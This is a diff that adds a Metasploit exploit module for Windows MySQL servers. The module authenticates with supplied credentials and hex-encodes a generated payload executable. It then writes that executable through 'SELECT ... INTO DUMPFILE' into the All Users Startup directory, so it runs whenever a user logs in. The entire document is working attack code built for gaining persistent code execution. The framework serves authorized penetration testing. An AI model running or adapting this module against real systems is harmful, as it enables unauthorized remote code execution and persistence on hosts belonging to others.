Test landing rapid7#2156 into up to date branch

Author: jvazquez-r7

modules/exploits/windows/mysql/mysql_start_up.rb

@@ -0,0 +1,131 @@
+##
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::MYSQL
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Oracle MySQL for Microsoft Windows File Write',
+      'Description'    => %q{
+          This module takes advantage of a file privilege misconfiguration problem
+        specifically against Windows MySQL servers. This module writes a payload to
+        Microsoft's All Users Start Up directory which will execute every time a
+        user logs in.
+      },
+      'Author'         =>
+        [
+          'sinn3r',
+          'Sean Verity <veritysr1980[at]gmail.com'
+        ],
+      'DefaultOptions' =>
+        {
+        'DisablePayloadHandler' =>  'true'
+        },
+      'License'        => MSF_LICENSE,
+      'References'     => [ ],
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'MySQL on Windows', { } ]
+        ],
+      'DefaultTarget'  => 0,
+    ))
+
+    register_options(
+      [
+        OptString.new('USERNAME', [ true, 'The username to authenticate as']),
+        OptString.new('PASSWORD', [ true, 'The password to authenticate with'])
+      ])
+  end
+
+  def check
+    m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
+    return Exploit::CheckCode::Safe if not m
+
+    return Exploit::CheckCode::Appears if is_windows?
+    return Exploit::CheckCode::Safe
+  end
+
+  def peer
+    "#{rhost}:#{rport}"
+  end
+
+  def query(q)
+    rows = []
+
+    begin
+      res = mysql_query(q)
+      return rows if not res
+      res.each_hash do |row|
+        rows << row
+      end
+    rescue RbMysql::ParseError
+      return rows
+    end
+
+    return rows
+  end
+
+  def is_windows?
+    r = query("SELECT @@version_compile_os;")
+    return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false
+  end
+
+  def get_drive_letter
+    r = query("SELECT @@tmpdir;")
+    drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
+    return drive
+  end
+
+  def upload_file(bin, dest)
+    p = bin.unpack("H*")[0]
+    query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
+  end
+
+  def exploit
+    print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
+    begin
+      m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
+      return if not m
+    rescue RbMysql::AccessDeniedError
+      print_error("#{peer} - Access denied.")
+      return
+    end
+
+    if not is_windows?
+      print_error("#{peer} - Remote host isn't Windows.")
+      return
+    end
+
+    begin
+      drive = get_drive_letter
+      return if not drive
+    rescue RbMysql::ParseError
+      print_error("Could not determine drive name")
+      return
+    end
+
+    exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
+    dest     = "#{drive}:/programdata/microsoft/windows/start menu/programs/startup/#{exe_name}"
+    exe      = generate_payload_exe
+
+    print_status("#{peer} - Uploading to '#{dest}'")
+    begin
+      upload_file(exe, dest)
+      register_file_for_cleanup("#{dest}")
+    rescue RbMysql::AccessDeniedError
+      print_error("#{peer} - No permission to write. I blame kc :-)")
+      return
+    end
+
+  end
+
+end